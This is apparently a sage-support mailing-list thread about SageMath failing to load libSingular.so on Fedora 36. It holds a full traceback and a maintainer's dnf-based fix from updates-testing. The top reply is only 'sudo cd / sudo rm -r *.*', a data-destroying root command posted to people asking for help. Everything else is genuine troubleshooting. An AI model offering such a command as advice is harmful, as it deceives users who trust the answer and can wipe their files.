sudo cd / sudo rm -r *.*
On Friday, 10 June 2022, 10:41:59 BST, Vegard Lima <[email protected]>
wrote:
Hi,
there should be a fix for this in updates-testing for Fedora 36:
$ sudo dnf update sagemath --enablerepo=updates-testing
You might have to do this first:
$ sudo dnf erase sagemath-doc-en
Cheers,
Vegard
On Thu, Jun 2, 2022 at 9:36 AM Francesco Buscemi <[email protected]> wrote:
>
> Hello there; any news? I'm getting exactly the same errors...
>
> On Wednesday, May 11, 2022 at 7:23:15 PM UTC+9 [email protected] wrote:
>>
>> I am running Fedora 36 (had the same issue in Fedora 35) on a Lenovo
>> IdeaPad. After installing sage using dnf I tried running it but it failed
>> due to: "ImportError: cannot load Singular library from libSingular.so
>> (b'libSingular.so: cannot open shared object file: No such file or
>> directory')". The full error report is:
>>
>> Error in sys.excepthook:
>> Traceback (most recent call last):
>> File "/usr/lib64/python3.10/pathlib.py", line 1303, in is_dir
>> return S_ISDIR(self.stat().st_mode)
>> AttributeError: 'str' object has no attribute 'stat'
>>
>> Original exception was:
>> Traceback (most recent call last):
>> File "/usr/lib64/sagemath/local/bin/sage-ipython", line 15, in <module>
>> app.initialize()
>> File
>>"/home/jacovantonder/.local/lib/python3.10/site-packages/traitlets/config/application.py",
>> line 88, in inner
>> return method(app, *args, **kwargs)
>> File "/usr/lib/python3.10/site-packages/IPython/terminal/ipapp.py", line
>>276, in initialize
>> self.init_shell()
>> File "/usr/lib64/python3.10/site-packages/sage/repl/interpreter.py", line
>>789, in init_shell
>> self.shell.extension_manager.load_extension(SAGE_EXTENSION)
>> File "/usr/lib/python3.10/site-packages/IPython/core/extensions.py", line
>>76, in load_extension
>> return self._load_extension(module_str)
>> File "/usr/lib/python3.10/site-packages/IPython/core/extensions.py", line
>>99, in _load_extension
>> if self._call_load_ipython_extension(mod):
>> File "/usr/lib/python3.10/site-packages/IPython/core/extensions.py", line
>>151, in _call_load_ipython_extension
>> mod.load_ipython_extension(self.shell)
>> File "/usr/lib64/python3.10/site-packages/sage/repl/__init__.py", line 5,
>>in load_ipython_extension
>> sage.repl.ipython_extension.load_ipython_extension(*args)
>> File "/usr/lib64/python3.10/site-packages/sage/repl/ipython_extension.py",
>>line 617, in wrapper
>> result = func(*args, **kwargs)
>> File "/usr/lib64/python3.10/site-packages/sage/repl/ipython_extension.py",
>>line 630, in load_ipython_extension
>> SageCustomizations(shell=ip)
>> File "/usr/lib64/python3.10/site-packages/sage/repl/ipython_extension.py",
>>line 434, in __init__
>> import sage.all # until sage's import hell is fixed
>> File "/usr/lib64/python3.10/site-packages/sage/all.py", line 131, in
>><module>
>> from sage.rings.all import *
>> File "/usr/lib64/python3.10/site-packages/sage/rings/all.py", line 87, in
>><module>
>> from .qqbar import (AlgebraicRealField, AA,
>> File "/usr/lib64/python3.10/site-packages/sage/rings/qqbar.py", line 2810,
>>in <module>
>> QQxy = QQ['x', 'y']
>> File "sage/structure/parent.pyx", line 1276, in
>>sage.structure.parent.Parent.__getitem__
>> File "/usr/lib64/python3.10/site-packages/sage/categories/rings.py", line
>>1177, in __getitem__
>> return PolynomialRing(self, elts)
>> File
>>"/usr/lib64/python3.10/site-packages/sage/rings/polynomial/polynomial_ring_constructor.py",
>> line 647, in PolynomialRing
>> return _multi_variate(base_ring, names, **kwds)
>> File
>>"/usr/lib64/python3.10/site-packages/sage/rings/polynomial/polynomial_ring_constructor.py",
>> line 775, in _multi_variate
>> from sage.rings.polynomial.multi_polynomial_libsingular import
>>MPolynomialRing_libsingular
>> File "sage/rings/polynomial/multi_polynomial_libsingular.pyx", line 1, in
>>init sage.rings.polynomial.multi_polynomial_libsingular
>> File "sage/libs/singular/singular.pyx", line 1558, in init
>>sage.libs.singular.singular
>> File "sage/libs/singular/singular.pyx", line 1532, in
>>sage.libs.singular.singular.init_libsingular
>> ImportError: cannot load Singular library from libSingular.so
>> (b'libSingular.so: cannot open shared object file: No such file or
>> directory')
>>
>> I've had issues with installing sage with conda as well. Not being able to
>> get the kernel to connect in Jupyter.
>
> --
> You received this message because you are subscribed to the Google Groups
> "sage-support" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to [email protected].
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/sage-support/c436992f-2358-401c-94b0-c7ed4d434f20n%40googlegroups.com.
--
You received this message because you are subscribed to the Google Groups
"sage-support" group.
To unsubscribe from this group and stop receiving emails from it, send an email
to [email protected].
To view this discussion on the web visit
https://groups.google.com/d/msgid/sage-support/CADhtfW2OpOS%2BqF_WVrBLJbJFcyyyCYFRPu4cHRBq990XzdjsQw%40mail.gmail.com.
--
You received this message because you are subscribed to the Google Groups
"sage-support" group.
To unsubscribe from this group and stop receiving emails from it, send an email
to [email protected].
To view this discussion on the web visit
https://groups.google.com/d/msgid/sage-support/1181715023.1919397.1654861804494%40mail.yahoo.com.